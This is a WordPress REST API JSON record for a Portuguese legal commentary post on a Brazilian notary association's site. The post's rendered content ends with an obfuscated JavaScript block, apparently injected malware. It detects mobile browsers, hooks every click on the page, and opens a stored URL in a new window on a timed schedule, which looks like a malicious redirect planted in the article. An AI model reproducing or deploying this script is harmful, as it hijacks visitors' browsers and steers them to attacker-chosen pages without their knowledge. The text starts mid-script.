g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>EUL&Acirc;MPIO RODRIGUES FILHO Graduado pela Universidade Federal de Uberl&acirc;ndia P&oacute;s-Doutor em Direito Advogado &nbsp; &nbsp; &nbsp;O cen&aacute;rio jur&iacute;dico econ&ocirc;mico do Brasil, emp&oacute;s da destrui&ccedil;&atilde;o das suas estruturas de sustenta&ccedil;&atilde;o parece abrir campo ao exerc&iacute;cio do seguinte racioc&iacute;nio: &nbsp; &nbsp; &nbsp;&ldquo;Avulta &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-171","post","type-post","status-publish","format-standard","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=171"}],"version-history":[{"count":0,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/171\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}